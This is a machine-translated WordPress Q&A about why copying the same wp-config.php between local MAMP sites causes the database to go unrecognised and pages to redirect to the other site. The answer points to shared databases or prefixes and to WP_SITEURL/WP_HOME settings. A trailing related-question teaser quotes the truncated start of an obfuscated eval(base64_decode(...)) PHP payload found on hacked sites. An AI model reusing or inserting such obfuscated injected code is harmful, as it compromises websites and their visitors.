为什么在MAMP中使用相同的wp-config文件可能不起作用?

时间:2013-10-20 作者:MARS

我不知道为什么,但当我只想创建一个我正在MAMP中工作的站点的副本时,也就是说我刚从web下载了。我只是从另一个本地版本复制了相同的wp配置文件。

但当我尝试转到新的htdocs目录(本质上只是旧目录的一个副本)时,它无法识别db。

有人知道为什么这可能是一个问题,或者可能会警告我为什么这会是一个失败的其他原因吗?

这是我的流程,我使用的是托管版本,因为我有另一个团队在处理它。我更喜欢在当地工作,所以我所做的是

通过插件下载文件和图像

在MAMP中创建新服务器(标题为Site2)

将备份zip(我刚从服务器下载)的内容复制到新的本地服务器(标题站点2)中

更新配置文件,使其与我在MAMP(Site1)上的当前版本完全相同,当我访问该站点时,我能够进入正确的第一页,但当我进入其他页面时,我会直接进入Site1内部页面

这可能是因为我使用的wp配置文件与Site1完全相同吗?这是否意味着,对于我所处理的站点的每个副本或版本,我都应该创建一个新的唯一WP配置文件?我意识到,如果我从一开始就使用Git,这将更容易管理,但我已经在站点过程中了

更新以说明我的观点:

目前在我的wp配置文件中,我有以下内容:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define(\'DB_NAME\', \'wp_site1\');

/** MySQL database username */
define(\'DB_USER\', \'root\');

/** MySQL database password */
define(\'DB_PASSWORD\', \'root\');

/** MySQL hostname */
define(\'DB_HOST\', \'localhost\');

/** Database Charset to use in creating database tables. */
define(\'DB_CHARSET\', \'utf8\');

/** The Database Collate type. Don\'t change this if in doubt. */
define(\'DB_COLLATE\', \'\');

1 个回复
SO网友:s_ha_dum

每个站点都需要不同的数据库,或者至少需要不同的数据库前缀。无论哪种情况,你都是wp-config.php 每个站点的文件将不同。我看不出复制那个文件会有什么效果。

基于此评论:

更新配置文件,使其与我在MAMP(Site1)上的当前版本完全相同,当我访问该站点时,我能够进入正确的第一页,但当我进入其他页面时,我会直接进入Site1内部页面

我猜你有WP_SITEURLWP_HOME defined in that wp-config.php file. 这就是为什么你会得到奇怪的重定向。

或者,如果您尝试共享一个数据库或使用两个具有相同前缀的站点,则数据库中的值将导致问题。只能将其设置为一个站点或另一个站点。

结束

相关推荐

Wp-config.php的默认安装权限

最近我注意到,我们在服务器上安装的许多wordpress都受到了这种东西的攻击和攻击eval(base64_decode(\"DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRy